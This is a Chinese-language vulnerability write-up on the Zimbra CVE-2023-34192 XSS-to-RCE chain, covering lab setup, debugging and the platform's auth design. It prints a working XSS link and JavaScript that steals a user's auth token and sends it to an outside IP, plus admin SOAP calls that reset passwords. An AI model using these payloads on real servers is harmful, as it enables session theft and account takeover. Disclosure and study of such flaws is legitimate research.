CVE-2023-34192 —— Zimbra XSS To RCE
2023-7-20 15:26:30 Author: govuln.com(查看原文) 阅读量:115 收藏


1.关键词

邮服、协作

2.概述

Zimbra 是一个电子邮件和协作平台,包括聊天、视频会议、日历、 联系人、任务、文件共享/编辑,并且集成了Slack、Zoom、Dropbox 等内置功能。500 多个SaaS 合作伙伴以及2000 多家经销商都在使用 Zimbra 的产品。Zimbra 是全球开源电子邮件协作软件领域的领先供应商。

3.使用范围及行业分布

大中小型企业及政府部门

4.渗透攻击特性

暂无


1.环境搭建

各版本下载地址,
https://www.zimbra.com/downloads/zimbra-collaboration-open-source/archives/

搭建之前本机需要配置好DNS服务

https://cloud.tencent.com/developer/article/1112133

https://abanger.github.io/CentOS/CentOS7_DNS_setting/

安装包下存在./install.sh 自动拉取最新依赖包安装,插件默认即可,配置admin密码等信息


开源版本安装后8443为邮件服务器应用端口,7071为admin后台管理端口

2.动态调试

首先停止zimbra服务,并添加调试信息开启debug

su zimbrazmcontrol stopsucp /opt/zimbra/libexec/zmmailboxdmgr /opt/zimbra/libexec/zmmailboxdmgr.oldcp /opt/zimbra/libexec/zmmailboxdmgr.unrestricted /opt/zimbra/libexec/zmmailboxdmgrsu zimbrazmlocalconfig -e mailboxd_java_options="`zmlocalconfig -m nokey mailboxd_java_options` -Xdebug -Xnoagent -Djava.compiler=NONE -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8000"
重启服务zmcontrol start

获取/opt/zimbra 下所有jar包导入idea进行调试


这里主要分析8443 端口web服务,zimbra web采用Jetty启动web服务,存在三个独立web应用\opt\zimbra\mailboxd\etc\jetty.xml,Web服务由Nginx做流量转发/opt/zimbra/conf/nginx/includes/nginx.conf.web

路由

service、zimbra、zimbraAdmin 三个webapp分别都有web.xml,web.xml 中定义了诸多独立的servlet,其中SoapServlet对应SOAP API,通过Zimbra SOAP API能够对Zimbra邮件服务器的资源进行访问和修改

Zimbra SOAP API包括以下命名空间:

  • zimbraAccount

  • zimbraAdmin

  • zimbraAdminExt

  • zimbraMail

  • zimbraRepl

  • zimbraSync

  • zimbraVoice 每个命名空间下对应不同的操作命令,其中常用的命名空间有以下三个:

  1. zimbraAdmin,Zimbra邮件服务器的管理接口,需要管理员权限

  2. zimbraAccount,同Zimbra用户相关的操作

  3. zimbraMail,同zimbra邮件的操作

身份校验

校验ZM_AUTH_TOKEN及ZM_ADMIN_AUTH_TOKEN,后者为管理员权限,TOKEN类似于JWT,生成过程较为安全,每个系统采用动态生成的key

权限校验

三个web主体主要分析三个类型,每个都存在未授权访问的接口,zimbra还对每个servlet进行了端口访问控制

1.Servlet

众多servlet都通过com.zimbra.cs.service.UserServlet#checkAuthentication进行身份校验,需要认证后的用户才可以访问,当然部分servlet不需要身份认证

2.SOAP API

SOAP API 处理类都为com.zimbra.soap.DocumentHandler#handle,其它处理类都继承于这个类,默认needsAuth返回为true,needsAdminAuth默认为false,只有子类重写了这个方法权限认证才会改变。这里我们又可以得到一批未授权接口

3.JSP

zimbra及zimbraAdmin下存在可访问的jsp文件,通过include进行权限认证

其它安全机制

CVE-2019-9670 之后,zimbra全局使用com.zimbra.common.soap.W3cDomUtil处理XML文档,做了DTD的禁用


1.漏洞概览

名称编号危害影响版本备注
XXECVE-2019-9670高危< 8.7.4
SSRFCVE-2019-9621高危< 8.7.11,8.8.11
可能的命令执行CVE-2020-12846高危< 8.8.15 9.0.0
任意用户登录CVE-2022-之924高危< 8.8.15 9.0.0

2.漏洞信息跟进

https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories

2 漏洞自动化利用相关

路由信息明确后可以进行简单的自动化污点分析


是一个前台的XSS,由于限制了httponly,所以需要找其它的点来回显cookie进而得到攻击者认证凭证,这也是漏洞评级为high的原因

Zimbra一般只开放在8443端口,利用如下
Any logged-in user who clicks on this link will reveal their login credentials, which is authtoken
Link:https://zimbra.test233.com:8443/h/autoSaveDraft?draftid=aaaaaaaaaaa%22%3E%3Cscript%20type=%22text/javascript%22%20src=%22http://192.168.220.1:7777/8443getauthtoken.js%22%3E%3C/script%3E%3Cbbbbbbbb
There are two loopholes involved
Here is the content of the malicious js code executed through the xss vulnerability:
var xhr = new XMLHttpRequest();

xhr.open('get', '/public/authorize.jsp');xhr.send();


xhr.onload = function() { const responseHtml = xhr.response;
const parser = new DOMParser(); const doc = parser.parseFromString(responseHtml, "text/html"); const zauthtokenValue = doc.getElementsByName("zauthtoken")[0].value;
console.log(zauthtokenValue); // alert(zauthtokenValue);


var script = document.createElement('script'); script.src = 'http://192.168.220.1:9999/?authtoken="'+zauthtokenValue+'.js'; document.body.insertBefore(script, document.body.firstChild);

};


Vulnerability verification screenshot

如果很幸运的我们可以访问到7071端口,那么当管理员点击而已连接时,可以通过js构造发包进行RCE,首先管理员点击后会自动更改密码,然后利用后台接口进行任意文件上传进行RCE,js构造如下:

var xhr = new XMLHttpRequest();

xhr.open("POST", "/service/admin/soap/AuthRequest");xhr.setRequestHeader("Content-Type", "application/soap+xml;charset=UTF-8");xhr.send('<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent xmlns="" name="ZimbraWebClient - FF111 (Win)"/><session xmlns="" id="360"/><authTokenControl xmlns="" voidOnExpired="1"/><format xmlns="" type="js"/></context></soap:Header><soap:Body><AuthRequest xmlns="urn:zimbraAdmin" refresh="1"><virtualHost xmlns="">localhost</virtualHost><csrfTokenSecured xmlns="">1</csrfTokenSecured></AuthRequest></soap:Body></soap:Envelope>');

xhr.onload = function() { var response = JSON.parse(xhr.response);

var csrf_token = response.Body.AuthResponse.csrfToken._content;

var xhr2 = new XMLHttpRequest();

xhr2.open("POST", "/service/admin/soap/GetInfoRequest"); xhr2.setRequestHeader("Content-Type", "application/soap+xml;charset=UTF-8"); xhr2.setRequestHeader("X-Zimbra-Csrf-Token", csrf_token); xhr2.send('<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent xmlns="" name="ZimbraWebClient - FF111 (Win)"/><session xmlns="" id="360"/><format xmlns="" type="js"/></context></soap:Header><soap:Body><GetInfoRequest xmlns="urn:zimbraAccount"/></soap:Body></soap:Envelope>');

xhr2.onload = function() { var response = JSON.parse(xhr2.response);

var id= response.Body.GetInfoResponse.id;

var zids = []; zids.push( id);

console.log(zids.length); // 在这里打印所有的会话。

for (var i = 0; i < zids.length; i++) { var setPasswordRequest = '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent xmlns="" name="ZimbraWebClient - FF111 (Win)"/><format xmlns="" type="js"/></context></soap:Header><soap:Body><SetPasswordRequest xmlns="urn:zimbraAdmin"><id xmlns="">' + zids[i] + '</id><newPassword xmlns="">7777777</newPassword></SetPasswordRequest></soap:Body></soap:Envelope>';

var xhr3 = new XMLHttpRequest();

xhr3.open("POST", "/service/admin/soap/SetPasswordRequest"); xhr3.setRequestHeader("Content-Type", "application/soap+xml;charset=UTF-8"); xhr3.setRequestHeader("X-Zimbra-Csrf-Token", csrf_token); xhr3.send(setPasswordRequest);

xhr3.onload = function() { console.log("Set password for " + zids[i] + ":", xhr3.response); }; } };};


文章分析浅薄,更多攻击面有待继续挖掘

PS:想要RCE这套东西利用难度还是很曲折的,实战基本不太能用,所以选择了交给官方处理,还有一个比较有意思的事情,刚开始挖掘捡到一个SSRF,官方邮件的态度是爱答不理,当这个洞交上去之后,对方极其热情,很痛快的开始修复措施以及分配了漏洞编号,笑死,卑微如我,奶思~


文章来源: https://govuln.com/news/url/Xr8J
如有侵权请联系:admin#unsafe.sh